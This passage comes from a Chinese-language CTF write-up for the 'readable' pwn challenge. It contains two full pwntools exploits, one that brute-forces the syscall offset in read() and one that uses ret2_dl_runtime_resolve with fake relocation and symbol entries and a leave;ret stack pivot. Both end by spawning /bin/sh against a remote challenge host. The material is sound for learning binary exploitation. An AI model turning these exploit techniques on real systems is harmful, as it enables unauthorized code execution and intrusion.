1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 from pwn import *context.clear() context.binary = './readable' context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } bss_addr = 0x600910 buff_addr = bss_addr + 0x20 main_addr = 0x400505 head_addr = 0x400000 set_args_addr = 0x40058A call_func_addr = 0x400570 read_got = 0x6008E8 leave_ret = 0x400520 def get_io () : if args['REMOTE' ]: io = remote('52.68.53.28' ,56746 ) else : io = process('./readable' ) io = gdb.debug('./readable' ,'''bp 0x4004FD bp 0x40051B''' ) return io def brute_syscall_addr (io,dis) : shellcode = "" shellcode += p64(set_args_addr) shellcode += p64(0x0 ) + p64(0x01 ) + p64(read_got) + p64(0x01 ) + p64(read_got) + p64(0x0 ) shellcode += p64(call_func_addr) shellcode += 'A' * 8 shellcode += p64(0x0 ) + p64(0x01 ) + p64(read_got) + p64(0x04 ) + p64(head_addr) + p64(0x01 ) shellcode += p64(call_func_addr) length = len(shellcode) print "shellcode length:" + str(length) if length % 16 != 0 : length += 16 - length % 16 payload = shellcode.ljust(length,'\x90' ) print "payload length:" + str(len(payload)) for i in range(0 ,length,16 ): io.send('A' *0x10 + p64(buff_addr + 0x10 + i) + p64(main_addr)) io.send(payload[i:i+16 ] + p64(bss_addr + 0x10 ) + p64(main_addr)) io.send('A' *0x10 + p64(buff_addr - 0x08 ) + p64(leave_ret)) io.send(chr(dis)) print "dis:" ,hex(dis) try : data = io.recv(4 ,timeout=0.5 ) print [c for c in data] if data == '\x7FELF' : print "[*]Find the offset of syscall in read() function :" ,hex(dis) raw_input() except Exception,e: pass def get_syscall_dis () : dis = 0 for dis in range(0 ,0x100 ): try : io = get_io() print "-------------------Start-----------------------" brute_syscall_addr(io,dis) print "--------------------End------------------------\n" except Exception,e: raise else : pass finally : pass def pwn (io,dis) : shellcode = "" shellcode += p64(set_args_addr) shellcode += p64(0x0 ) + p64(0x01 ) + p64(read_got) + p64(0x3b ) + p64(read_got - 0x3b + 1 ) + p64(0x0 ) shellcode += p64(call_func_addr) shellcode += 'A' * 8 shellcode += p64(0x0 ) + p64(0x01 ) + p64(read_got) + p64(0x0 ) + p64(0x0 ) + p64(bss_addr) shellcode += p64(call_func_addr) length = len(shellcode) print "shellcode length:" + str(length) if length % 16 != 0 : length += 16 - length % 16 payload = shellcode.ljust(length,'\x90' ) print "payload length:" + str(len(payload)) for i in range(0 ,length,16 ): io.send('A' *0x10 + p64(buff_addr + 0x10 + i) + p64(main_addr)) io.send(payload[i:i+16 ] + p64(bss_addr + 0x10 ) + p64(main_addr)) padding = "/bin/sh" .ljust(0x10 ,'\x00' ) io.send(padding + p64(buff_addr - 0x08 ) + p64(leave_ret)) io.send('A' *(0x3b -1 ) + chr(dis)) io.interactive() if __name__ == '__main__' : io = get_io() dis = 0x1e pwn(io,dis)
4、方法二:使用ret2_dl_runtime_resolve方式进行利用 利用思路:
1、构造fake_reloc_data
、fake_sym_data
、func_name
、binsh_str
、shellcode
数据,并写入到合适的位置。计算数据写入地址
时,需要注意一些情况。一般情况,这些数据都会写入到.bss节之后
的位置。x64情况
下,在_dl_runtime_resolve()
函数和_dl_fixup()
函数中,程序会通过rsp
保存寄存器数据
到栈上和修改栈上的数据
,并且范围较大
。由于此程序在通过read()函数
多次读入数据时,修改了rbp
,使得rbp
和rsp
都指向.bss节之后的地址
。我们在进入符号解析函数
时,解析函数会减小rsp
,用于存储寄存器数据
,并且会将栈上的一些数据清零
。这会导致.bss节之前节
的数据被修改
,造成无法解析
system函数的地址。所以我们需要在shellcode写入地址前
留够一定的空间,供符号解析函数
使用。而fake_reloc_data
、fake_sym_data
、func_name
、binsh_str
等数据一般写在shellcode之后
的位置。
下面是_dl_runtime_resolve()
函数和_dl_fixup()
函数中对rsp和rbp修改
,以及利用rsp和rbp
修改栈上数据
的代码片段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 _dl_runtime_resolve(): ld_2.23.so: 00007F3988E58F14 and rsp , 0FFFFFFFFFFFFFFC0h ld_2.23.so: 00007F3988E58F18 sub rsp , cs :qword_7F3989066D50(0x3C0 )ld_2.23.so: 00007F3988E58F1F mov [rsp ], rax ld_2.23.so: 00007F3988E58F23 mov [rsp +8 ], rcx ld_2.23.so: 00007F3988E58F28 mov [rsp +10h ], rdx ld_2.23.so: 00007F3988E58F2D mov [rsp +18h ], rsi ld_2.23.so: 00007F3988E58F32 mov [rsp +20h ], rdi ld_2.23.so: 00007F3988E58F37 mov [rsp +28h ], r8 ld_2.23.so: 00007F3988E58F3C mov [rsp +30h ], r9 ld_2.23.so: 00007F3988E58F41 mov eax , 0EEh ld_2.23.so: 00007F3988E58F46 xor edx , edx ld_2.23.so: 00007F3988E58F48 mov [rsp +250h ], rdx ld_2.23.so: 00007F3988E58F50 mov [rsp +258h ], rdx ld_2.23.so: 00007F3988E58F58 mov [rsp +260h ], rdx ld_2.23.so: 00007F3988E58F60 mov [rsp +268h ], rdx ld_2.23.so: 00007F3988E58F68 mov [rsp +270h ], rdx ld_2.23.so: 00007F3988E58F70 mov [rsp +278h ], rdx ld_2.23.so: 00007F3988E58F78 xsavec byte ptr [rsp +40h ]_dl_fixup(): ld_2.23.so: 00007F3988E50A3A sub rsp , 10h ld_2.23.so: 00007F3988E50C10 sub rsp , 78h ld_2.23.so: 00007F3988E51203 sub rsp , 38h
2、将fake数据
写入到指定地址
后,还需要修改.dynamic节
中DT_VERSYM动态节类型
所对应的动态节表项
中的vernum表的地址
,使得ndx = vernum + sym_index*2
地址处的ndx值
为合理值。
1 2 3 4 write_data_to_address(0x600858 ,p64(0x6FFFFFF0 ) + p64(0x3D575A ))
3、构造shellcode
,首先将“/bin/sh”的地址
存入rdi寄存器
,然后返回到PLT0
处的代码,传入system重定位项
在重定位表
中的下标
,利用符号解析函数
,计算system函数的地址
。解析完system函数的地址后,就会调用system("/bin/sh")
。从而获取shell。
1 2 3 4 shellcode = "" shellcode += p64(p_rdi_ret) + p64(binsh_str_addr) shellcode += p64(PLT0) + p64(reloc_index) write_data_to_address(buff_addr,shellcode)
4、向内存中写入shellcode后
,还需要写入一段数据,用于调整rsp
,使程序跳转到shellcode
执行。
1 2 io.send('A' *0x10 + p64(buff_addr - 0x8 ) + p64(leave_ret))
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 from pwn import *context.clear() context.log_level = 'debug' context.binary = './readable' context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } def get_io () : if args['REMOTE' ]: io = remote('52.68.53.28' ,56746 ) else : io = process('./readable' ) return io ''' typedef struct { Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */ 8byte Elf64_Xword r_info; /* 重定位类型和符号表下标 */ 8byte Elf64_Sxword r_addend; /* Addend */ 8byte } Elf64_Rela; ''' def generate_x64_reloc_data (sym_index,got_plt) : return p64(got_plt) + p64((sym_index<<0x20 ) + 0x07 ) + p64(0 ) ''' typedef struct { Elf64_Word st_name; /* 符号名,符号在字符串表中的偏移 */ 4byte unsigned char st_info; /* 符号类型及绑定属性 */ 1byte unsigned char st_other; /* 符号的可见性 */ 1byte Elf64_Section st_shndx; /* 节头表索引 */ 2byte Elf64_Addr st_value; /* 符号的值,可能是地址或偏移 */ 8byte Elf64_Xword st_size; /* 符号的大小 */ 8byte } Elf64_Sym; ''' def generate_x64_sym_data (name_offset) : return p32(name_offset) + p32(0x12 ) + p64(0 ) + p64(0 ) ''' 内存布局: 0x600910 - 0x600930 Adjust buffer address 0x600930 - 0x600940 system_got 0x600940 - 0x600F20 0x5E0 0x600F20 - 0x600F40 shellcode 0x600F40 - 0x600F88 0x50 0x600F88 - 0x600FA8 reloc_data (align 0x18) 0x600FA8 - 0x600FB0 0x8 0x600FB0 - 0x600FD0 sym_data (align 0x18) 0x600FD0 - 0x600FE0 func_name("system") 0x600FE0 - 0x600FF0 binsh_str("/bin/sh") ''' DT_JMPREL = 0x400360 DT_SYMTAB = 0x400280 DT_STRTAB = 0x4002E0 DT_VERSYM = 0x40031E bss_addr = 0x600910 system_got = bss_addr + 0x20 buff_addr = bss_addr + 0x610 main_addr = 0x400505 PLT0 = 0x4003D0 p_rdi_ret = 0x400593 leave_ret = 0x400520 reloc_index = 0x155D7 reloc_data_addr = 0x600F88 reloc_data = generate_x64_reloc_data(0x155E2 ,system_got) sym_data_addr = 0x600FB0 sym_data = generate_x64_sym_data(0x200CF0 ) func_name_addr = 0x600FD0 func_name = "system\x00" binsh_str_addr = 0x600FE0 binsh_str = "/bin/sh\x00" def write_data_to_address (address,data) : length = len(data) print "Data length:" + str(length) if length % 16 != 0 : length += 16 - length % 16 payload = data.ljust(length,'\x90' ) print "Payload length:" + str(length) for i in range(0 ,length,16 ): io.send('A' *0x10 + p64(address + 0x10 + i) + p64(main_addr)) io.send(payload[i:i+16 ] + p64(bss_addr + 0x10 ) + p64(main_addr)) def pwn (io) : write_data_to_address(0x600858 ,p64(0x6FFFFFF0 ) + p64(0x3D575A )) write_data_to_address(reloc_data_addr,reloc_data) write_data_to_address(sym_data_addr,sym_data) write_data_to_address(func_name_addr,func_name) write_data_to_address(binsh_str_addr,binsh_str) shellcode = "" shellcode += p64(p_rdi_ret) + p64(binsh_str_addr) shellcode += p64(PLT0) + p64(reloc_index) write_data_to_address(buff_addr,shellcode) io.send('A' *0x10 + p64(buff_addr - 0x8 ) + p64(leave_ret)) io.interactive() if __name__ == '__main__' : io = get_io() pwn(io)
Reference [ 01 ]:程序员的自我修养—链接、装载与库 [ 02 ]:ELF文件系列第五篇ELF文件静态结构中的重定位项 [ 03 ]:glibc/elf/elf.h [ 04 ]:聊聊动态链接和dl_runtime_resolve [ 05 ]:Linux二进制分析 [ 06 ]:dl-resolve浅析 [ 07 ]:Linux pwn入门教程(10)——针对函数重定位流程的几种攻击 [ 08 ]:详细解析ret2_dl_runtime_resolve [ 09 ]:Oracle® Solaris 11.2 链接程序和库指南 [ 10 ]:glibc动态链接器dl_runtime_resolve简要分析 [ 11 ]:Linux下库函数动态链接过程分析-结合glibc-2.11源码 [ 12 ]:ret2dl x64 & x32的差异 [ 13 ]:ret2dl-runtime-resolve详细分析(32位&64位)